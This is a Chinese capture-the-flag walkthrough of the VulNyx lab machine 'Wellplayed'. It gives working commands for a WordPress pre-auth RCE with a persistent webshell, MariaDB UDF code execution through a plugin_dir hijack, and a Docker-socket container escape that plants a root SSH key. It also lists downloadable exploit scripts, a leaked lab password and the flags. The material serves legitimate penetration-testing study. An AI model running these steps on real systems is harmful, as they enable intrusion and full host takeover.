VulNyx Wellplayed 通关记录|WordPress 预认证 RCE、Docker Socket 逃逸
靶机链接:Wellplayed
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Wellplayed | 192.168.1.104 | wellplayed |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、443/tcp WordPress、3306/tcp filtered | 确定 WordPress 为 Web 入口 |
| 预认证 RCE | WordPress 6.9.4 命中核心链,wp2shell(CVE-2026-63030 + CVE-2026-60137) | 获得 www-data 命令执行 |
| 凭据泄露 | /opt/secure.txt.xz 明文存放 maciiii 密码 | SSH 初始访问,读取 User Flag |
| 提权侦察 | MariaDB root@'%' 空密码、ALL + FILE 权限、secure_file_priv 为空 | 满足 UDF RCE 前置条件 |
| UDF RCE | .my.cnf 写 plugin_dir=/opt/pwned,重启容器后加载 sys_exec | 容器内以 mysql 身份执行命令 |
| 容器逃逸 | mysql 进程 gid=104 恰好是 docker socket 属组 | 通过 Docker API 创建特权容器写 root 公钥 |
| 最终成果 | SSH 私钥登录 root | 获取 Root Flag |
0x02 侦察与信息收集 (Reconnaissance)
1. TCP 端口扫描
先写入域名解析,再用 RustScan 做全端口发现、Nmap 做服务识别:
echo "192.168.1.104 wellplayed.nyx wellplayed.lan" >> /etc/hosts
rustscan -a 192.168.1.104 -- -sCV -oN initial_nmap.txt
扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp open http nginx -> 重定向到 https://wellplayed.nyx/
443/tcp open ssl/http nginx
3306/tcp filtered mysql
8080/tcp open http Node.js Express framework (Content Review System)
443 端口为自签证书(CN=wellplayed.nyx),3306 被过滤但后续证明本机可达。
0x03 重大突破:WordPress 预认证 RCE(wp2shell)
443 上运行 WordPress 6.9.4,6.9.4 落在 CVE-2026-63030(Batch Route Confusion)+ CVE-2026-60137(SQLi)核心预认证 RCE 链的受影响区间 6.9.0–6.9.4 内(修复于 6.9.5),且目标为默认配置、无持久对象缓存,前置条件全部满足。
使用公开 PoC ikow/wp2shell:
cd /tmp && git clone -q --depth 1 https://github.com/ikow/wp2shell
cd /tmp/wp2shell/wp2shell-exploit
# 漏洞检测
python3 exploit.py https://wellplayed.nyx # → [+] vulnerable
# RCE 确认
python3 exploit.py https://wellplayed.nyx -c "id; whoami; hostname"
# → uid=33(www-data) / www-data / wellplayed
配套脚本: wp2shell_exploit.py — 修改后的 wp2shell 预认证 RCE exploit(持久化 webshell + 打印 URL/marker)。
利用链为:REST batch desync → 盲 SQLi → oEmbed 缓存写入 → Customizer changeset 提权 → 创建管理员 → 插件 webshell。
原 PoC 的 webshell 带自删逻辑,修改 exploit.py 去掉 deactivate_plugins/unlink 后重新部署,得到持久 webshell,并封装便捷调用脚本:
cat > /tmp/wp2shell/wsh.sh <<'SH'
#!/bin/bash
URL="https://wellplayed.nyx/?rest_route=/wp2shell/v1/33fb4b87ddb9a0a30dbc1fd8"
b64=$(printf '%s' "$1" | base64 -w0)
curl -sk -X POST "$URL" -H 'Content-Type: application/json' -d "{\"c\": \"$b64\"}"
echo
SH
chmod +x /tmp/wp2shell/wsh.sh
# 用法: /tmp/wp2shell/wsh.sh "command"
0x04 初始访问与用户 Flag
通过 webshell 枚举文件系统,发现 /opt/secure.txt.xz 全局可读,直接泄露 maciiii 用户密码:
/tmp/wp2shell/wsh.sh "xz -dc /opt/secure.txt.xz"
# → "The password for user maciiii is compromised: MEf4MEf@c4j8UmUGAv*3sAhIkow!oKNOkuk4bulRa"
# → "Docker volume mount is mapped to pwned folder." ← 后半句是提权的关键提示
SSH 登录 maciiii(uid=1000)读取 User Flag:
sshpass -p 'MEf4MEf@c4j8UmUGAv*3sAhIkow!oKNOkuk4bulRa' \
ssh -o StrictHostKeyChecking=no maciiii@192.168.1.104 'cat user.txt'
# → 2000d74a14603db7f68e473c68ca2eaa
诱饵识别: 同目录 note.txt 的 BOF 提示是干扰项;SUID 二进制 /usr/local/bin/procmon 逆向后只是 setuid(0) + system("ps -e"),不接受任何输入,无溢出面。系统 SUID/SGID/capabilities 也全部标准。
0x05 提权侦察
maciiii 无 sudo 权限,常规提权面全部干净,转向服务与进程枚举,两个关键发现:
1. MariaDB root 空密码 + FILE 权限
3306 虽然从外部被过滤,但本机可连,且容器内 root@'%' 为空密码:
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e "SHOW GRANTS;"
# → GRANT ALL PRIVILEGES ON *.* TO root@'%' WITH GRANT OPTION
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e "SHOW VARIABLES LIKE 'secure_file_priv';"
# → 空(FILE 无路径限制)
2. 容器挂载暴露逃逸面
MariaDB 跑在容器里(mariadb:13.0.1,唯一容器),从 /proc/<pid>/mountinfo 看到三个挂载:
/opt/pwned:宿主 world-writable 目录,双端共享(呼应secure.txt.xz里的提示);/root/mariadb-13-rce-lab/setup.sql→/docker-entrypoint-initdb.d/:目录名直接说明这是官方 UDF RCE 实验环境,内含lib_mysqludf_sys.so/udf.so;/var/run/docker.sock→ 容器内/run/docker.sock.lol:改名隐藏的 Docker Socket,即逃逸通道。
0x06 权限提升 (Privilege Escalation):MariaDB UDF RCE + Docker Socket 逃逸
步骤 1:写 .my.cnf 劫持 plugin_dir
MariaDB 13.0.1 的 INTO OUTFILE 默认 FIELDS ESCAPED BY '\\',会把数据中的换行转义成 \+换行,写出的配置带杂散 0x5C。必须显式 FIELDS ESCAPED BY '' 关闭转义;若文件已存在会报 1086,需先删旧文件。另外验证写入内容时别直接看 LOAD_FILE 的输出——mysql 批处理模式会把换行显示成字面 \n,看起来像写坏了;应改用 SELECT HEX(LOAD_FILE('/var/lib/mysql/.my.cnf')); 确认字节为 0A(真实换行)而非 5C 0A(转义污染)。
mysql 用户的 home 即 datadir,用 FILE 权限写入配置文件,把 plugin_dir 指向双端共享的 /opt/pwned:
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -N -e \
"SELECT CONCAT('[mariadbd]',CHAR(10),'plugin_dir=/opt/pwned',CHAR(10)) INTO OUTFILE '/var/lib/mysql/.my.cnf' FIELDS ESCAPED BY '';"
# HEX 核验写入内容
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -N -e "SELECT HEX(LOAD_FILE('/var/lib/mysql/.my.cnf'));"
# → 5B6D617269616462645D0A706C7567696E5F6469723D2F6F70742F70776E65640A0A
# 5B..5D="[mariadbd]" / 0A=换行 / "plugin_dir=/opt/pwned" / 0A0A 结尾,无杂散 5C
配套脚本: outtest.cnf — 劫持 plugin_dir 的 .my.cnf 测试配置(写入 /var/lib/mysql/.my.cnf)。
步骤 2:编译 UDF 并放到共享卷
编译自包含的 lib_mysqludf_sys.c(实现 sys_exec,内部 system(args->args[0])),通过 webshell 用 base64 传到 /opt/pwned(www-data 可写):
gcc -shared -fPIC -o /tmp/lib_mysqludf_sys.so /tmp/lib_mysqludf_sys.c -lc
b64=$(base64 -w0 /tmp/lib_mysqludf_sys.so)
/tmp/wp2shell/wsh.sh "echo $b64 | base64 -d > /opt/pwned/lib_mysqludf_sys.so"
配套脚本: lib_mysqludf_sys.c — sys_exec UDF 源码(自包含,无需 mysql.h);编译产物 lib_mysqludf_sys.so 直接上传至 /opt/pwned 供容器加载。
步骤 3:重启容器使 plugin_dir 生效
mysqladmin shutdown 触发容器重启(restart 策略自动拉起):
MYSQL_PWD="" timeout 15 mysqladmin -h127.0.0.1 -uroot shutdown
sleep 15
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e "SHOW VARIABLES LIKE 'plugin_dir';"
# → plugin_dir = /opt/pwned/ ✅
步骤 4:加载 UDF 获得容器内 RCE
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e \
"CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';"
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e \
"SELECT sys_exec('id > /opt/pwned/o1 2>&1; ls -la /run/docker.sock.lol >> /opt/pwned/o1 2>&1');"
# → uid=999(mysql) gid=104(104)
# → /run/docker.sock.lol 属组 104 = mysql 进程 gid → 可访问 docker socket!
mysql 进程的 gid 恰好等于 docker socket 的属组,UDF 执行的命令天然拥有 socket 访问权。
步骤 5:socat 调 Docker API 创建特权容器
容器内没有 docker CLI,用 socat 直接走 Docker API。先确认可用镜像:
{ printf 'GET /images/json HTTP/1.1\r\nHost: localhost\r\n\r\n'; sleep 2; } | \
socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol
# → 镜像: ubuntu:22.04, mariadb:13.0.1
配套脚本: docker_escape.sh — 容器内一键执行:查询镜像 → 创建特权容器(Binds /:/host)→ 写 root SSH 公钥。
在 Kali 端生成 SSH 密钥,然后创建挂载宿主根目录的特权容器,把公钥写入 /root/.ssh/authorized_keys:
ssh-keygen -t ed25519 -f /tmp/esc_key -N "" -C "root@kali"
PUB=$(cat /tmp/esc_key.pub)
BODY='{"Image":"ubuntu:22.04","Cmd":["/bin/bash","-c","mkdir -p /host/root/.ssh; echo \"'$PUB'\" > /host/root/.ssh/authorized_keys; chmod 700 /host/root/.ssh; chmod 600 /host/root/.ssh/authorized_keys"],"HostConfig":{"Binds":["/:/host"],"Privileged":true,"PidMode":"host"},"Tty":true}'
LEN=${#BODY}
{ printf 'POST /containers/create?name=esc HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$LEN" "$BODY"; sleep 2; } | \
socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol
{ printf 'POST /containers/esc/start HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n'; sleep 2; } | \
socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol
# → HTTP/1.1 200 OK
步骤 6:SSH root 登录读取 Root Flag
ssh -i /tmp/esc_key -o StrictHostKeyChecking=no root@192.168.1.104 'cat /root/root.txt'
# → 931c86372857f04edb6eab58955b38a3
0x07 最终成果 (Final Flags)
User Flag
- 路径:
/home/maciiii/user.txt - 内容:
2000d74a14603db7f68e473c68ca2eaa
Root Flag
- 路径:
/root/root.txt - 内容:
931c86372857f04edb6eab58955b38a3
0x08 漏洞汇总
| # | 漏洞 | 严重程度 | 位置 | 利用方式 |
|---|---|---|---|---|
| 1 | WordPress 核心预认证 RCE 链 | Critical | WordPress 6.9.4 | CVE-2026-63030 Batch 路由混淆 + CVE-2026-60137 SQLi(wp2shell) |
| 2 | 敏感文件明文存密码 | High | /opt/secure.txt.xz | 全局可读,泄露 maciiii 的 SSH 密码 |
| 3 | 数据库 root 空密码 | Critical | MariaDB 容器 | root@'%' 空密码 + ALL PRIVILEGES + FILE,可写文件、可加载 UDF |
| 4 | Docker Socket 挂载进容器 | Critical | /run/docker.sock.lol | 容器内直接控制宿主 Docker daemon,特权容器逃逸 |
复盘总结
-
枚举受阻时回到版本号本身。 WordPress 无漏洞插件、口令不弱时,核心版本 6.9.4 命中预认证 RCE 链成为唯一突破口——核心组件的版本指纹永远值得精确确认。
-
UDF RCE 的关键不在 UDF 本身,而在 plugin_dir。
secure_file_priv为空 + FILE 权限只能写文件,/opt/pwned共享卷 +.my.cnf劫持plugin_dir才把"能写文件"变成"能加载代码"。注意 MariaDB 13 的INTO OUTFILE默认转义会污染写入内容,需显式FIELDS ESCAPED BY ''。 -
容器逃逸面要查 mountinfo 和进程 gid。 docker.sock 改名成
.lol只是障眼法,/proc/<pid>/mountinfo一览无余;mysql 进程 gid=104 恰好是 socket 属组,使 UDF RCE 到容器逃逸无缝衔接。挂载 docker.sock 进容器等同于把宿主 root 交给容器。
附件下载
| 文件 | 说明 | 下载 |
|---|---|---|
wp2shell_exploit.py | 修改后的 wp2shell 预认证 RCE exploit(持久化 webshell) | 下载 |
lib_mysqludf_sys.c | sys_exec UDF 源码(自包含,无需 mysql.h) | 下载 |
lib_mysqludf_sys.so | UDF 编译产物,上传至 /opt/pwned 供容器加载 | 下载 |
docker_escape.sh | Docker Socket 容器逃逸脚本(容器内一键执行) | 下载 |
outtest.cnf | 劫持 plugin_dir 的 .my.cnf 测试配置 | 下载 |